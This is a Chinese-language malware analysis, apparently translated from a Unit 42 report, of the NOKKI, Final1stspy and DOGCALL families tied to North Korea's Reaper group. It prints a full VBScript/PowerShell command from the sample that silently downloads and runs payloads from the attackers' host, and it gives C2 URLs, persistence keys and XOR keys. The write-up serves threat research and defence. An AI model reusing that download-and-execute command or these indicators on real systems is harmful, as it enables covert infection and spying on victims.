NOKKI 恶意软件是新发现的恶意软件家族,与 KONNI 恶意软件有代码重叠。最新研究发现 NOKKI 与朝鲜的 Reaper 组织有关。
最近,unit 42 研究人员发现了 NOKKI 恶意软件家族,主要攻击目标是说俄语和柬埔寨语的地区。经过分析发现该恶意软件攻击活动与 Reaper 组织有关。
其他安全公司的分析结果显示 Reaper 组织与朝鲜有关,主要攻击朝鲜关注的国家和组织,包括韩国的军事和国防工业、与朝鲜有生意往来的中东企业等。该组织的常用手法包括使用定制的恶意软件家族——DOGCALL。DOGCALL 是一款远程访问木马(RAT),使用第三方主机服务来上传数据和接受命令。
本文主要分析 NOKKI 恶意软件与 DOGCALL 恶意软件家族的关系,以及与应用 DOGCALL 的恶意软件家族的相关信息,研究人员根据恶意软件中的 pdb 字符串将其名命名为 Final1stspy。
恶意宏
在分析 NOKKI 恶意软件时,unit 42 研究人员发现从 2018 年7月开始的一系列攻击活动都使用了word文档中的恶意宏。这些宏本质上并不复杂,而且只尝试执行:
下载和运行可执行恶意软件 payload;
下载和打开 word 诱饵文档。
为了避免被检测到,恶意宏使用了简单的字符串混淆技术——base64 编码。不同的是,恶意软件首先将 base64 编码的文本变成十六进制,然后再将十六进制转换为文本字符串。
通过搜索传播 NOKKI 样本的反混淆技术,研究人员发现另一个文件。该文件有以下特征:
基于原始文件名,可用推测该恶意软件样本的攻击目标是对 2018 年俄罗斯事世界杯感兴趣的人。从下图可用看出,样本之间的反混淆方法和作者的注释都是相同的 :
虽然反混淆方法是相同的,但宏文件的真实共那个有所不同。NOKKI dropper 样本会下载 payload 和诱饵文件,而 World Cup predictions 恶意软件样本会下载和执行一个封装再 HTML 中的远程 VB 脚本文件,并把文本加入到原始 word 文档之后来引诱受害者。
诱饵文件含有来自英国 ESPN 网站文章的公开内容:
World Cup predictions.doc 文件的执行链完成后,受害者机器上会执行一 个DOGCALL 恶意软件样本。
恶意软件使用的评论诱饵和 payload 正说明了 DOGCALL 属于 Reaper,隶属朝鲜的威胁单元。
恶意软件执行
World Cup predictions.doc 运行后,会继续从下面的链接下载 VBScript 文件:
http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html
VBScript 文件使用的反混淆方法与前面描述的完全相同。当第二阶段VBScript文件执行时,会将数据 1111:rom*E8FEF0CDF6C1EBBA90794B2B 写入 %APPDATA%\Microsoft\mib.dat。该文件之后会被 Final1stspy 恶意软件家族使用。
该文件写入后,会执行下面的命令:
objShell. Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1. org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0
代码执行后会下载两个文件:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg 和 http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,并保存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll 和 %APPDATA%/Microsoft/ieConv.exe。最后,VBScript 文件会在新进程中执行之前下载的 ieConv.exe 文件。
这两个文件是之前未报告的 dropper 恶意软件家族 Final1stspy 的实例。
Final1stspy
Final1stspy 恶意软件家族可用分为可执行文件和 DLL。这些文件有下面的特征:
所有样本都是几周内编译的。另外,用来传播恶意软件的原始 word 文档的最后修改时间就是 DLL 编译前几天。
可执行文件和 DLL 都用了特定的路径来混淆重要的字符串。下面的 python 代码是用来解码字符串的:
Final1stspy 恶意软件开始时会寻找是否存在下面的文件:
%APPDATA%\Microsoft\Windows\msvcrt64.dll
如果文件存在,恶意软件会加载DLL并尝试调用 main_func 函数。
如果文件不存在,恶意软件会寻找下面的文件:
%APPDATA%\Microsoft\Windows\msvcrt32.dll
如果文件存在,恶意软件会 0x50 对文件进行 XOR 解密,并写入前面提到的 msvcrt64.dll 路径,并加载 main_func 函数。
DLL 使用的字符串混淆方法与可执行文件中的相同。首先会收集基本的系统信息,必能通过设置指向 %APPDATA%/Microsoft/ieConv.exe 的注册表来确保驻留:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32
Final1stspy 恶意软件家族会继续对之前的 mib.dat 文件进行阅读和语法分析。分析的数据会被用于之后的 HTTP GET 请求,表示 Index、 Account、Group 变量。
Final1stspy 可用读取 %APPDATA%/Microsoft/olevnc.ini 文件,该文件中有许多变量,包括用户代理、URL、端口、内部计数器。如果文件不存在,恶意软件会用硬编码的用户代理和 URL。特定的样本会与 http: //kmbr1. nitesbr1[.]org/UserFiles/File/image/index.php 进行通信,使用的用户代理为 Host Process Update。
恶意软件会继续向该 URL 发送 HTTP GET 请求,示例如下:
请求中有下面的 GET 参数:
恶意软件期望接收到的是一个 payload,并用 XOR key 0x49 进行解密。Payload 会在受害者机器上加载。解密后,会出现下面的 payload:
通过编译的时间戳可用看出,该文件与 Final1stspy 可执行文件的编译时间非常接近。该 payload 已经被识别是属于 DOGCALL 恶意软件家族,可以在受害者设备上执行下面的动作:
截屏
记录键盘输入
获取麦克风数据
收集受害者信息
收集感兴趣的文件
下载和执行其他 payload
恶意软件会与作为 C2 的第三方主机服务进行通信,包括:
Dropbox
pCloud
Yandex Cloud
Box
结论
研究人员分析恶意软件 NOKKI 和恶意软件 KONNI 存在代码重叠,进一步分析发现 NOKKI 恶意软件与朝鲜的 Reaper 组织有关。之间的关系有很多好玩的地方,比如朝鲜相关的诱饵信息和 DOGCALL 恶意软件 payload。研究人员在分析过程中还发现一款之前没有报告过的恶意软件——Final1stspy。◾️
Comments